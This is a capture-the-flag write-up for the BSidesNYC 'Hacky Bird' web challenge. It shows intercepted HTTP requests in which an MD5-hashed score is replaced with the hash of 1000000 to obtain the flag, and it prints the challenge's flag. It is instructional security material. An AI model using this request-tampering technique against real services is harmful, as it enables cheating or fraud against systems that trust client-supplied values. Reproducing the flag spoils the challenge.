BSidesNYC CTFd Writeup - Hacky Bird
It was a web challenge where in the flag will be received when the score reaches 1 million in the flappy bird game...!!!
I used Burpsuite for this game.

1. Initial Analysis & Reconnaissance

The challenge involved interacting with a game, and by intercepting the network traffic with a tool like Burp Suite, we captured the following HTTP request being sent to the server when submitting a score:
POST /score-checker HTTP/1.1
Host: bsidesnyc-hacky-bird.chals.io
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
score_check=cfcd208495d565ef66e7dff9f98764da
The key point of interest is the POST body parameter:
score_check=cfcd208495d565ef66e7dff9f98764da
The value cfcd208495d565ef66e7dff9f98764da is a 32-character hexadecimal string, which is a strong indicator of an MD5 hash. I sent this request to Burp Repeater of better and easy testing.
2. Vulnerability Identification
The hypothesis was that the score_check parameter is simply the MD5 hash of the player's score. If this is true, the application is insecurely trusting the client to provide the score, and we can manipulate it.
To confirm this, the initial hash was submitted to an online MD5 reverse lookup tool - https://10015.io/tools/md5-encrypt-decrypt
- Hash:
cfcd208495d565ef66e7dff9f98764da - Decrypted Value:
0
This confirmed that the server is hashing the score 0 and sending it for verification. The vulnerability is clear: we can generate a hash for any score we want and submit it to the server.
3. Exploitation
The goal is to submit a very high score to trick the server into rewarding us with the flag.
- Choose a million: 1 million -
1000000- was chosen. - Generate the New Hash: The chosen score was hashed using the MD5 algorithm.
- Input Text:
1000000 - Resulting MD5 Hash:
8155bc545f84d9652f1012ef2bdfb6eb
- Input Text:
Modify and Send the Request: The original HTTP request was sent to Burp Repeater. The value of the score_check parameter was replaced with our newly generated hash. The modified request looked like this:
POST /score-checker HTTP/1.1
Host: bsidesnyc-hacky-bird.chals.io
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
score_check=8155bc545f84d9652f1012ef2bdfb6eb
4. Retrieving the Flag

After sending the modified request, the server responded with a 200 OK status and a JSON body containing the flag.
Server Response:
HTTP/1.1 200 OK
Server: gunicorn
Content-Type: application/json
Content-Length: 35
{"flag":"flag{the_fl@ppy_h@cker}"}
The flag is: flag{the_fl@ppy_h@cker}.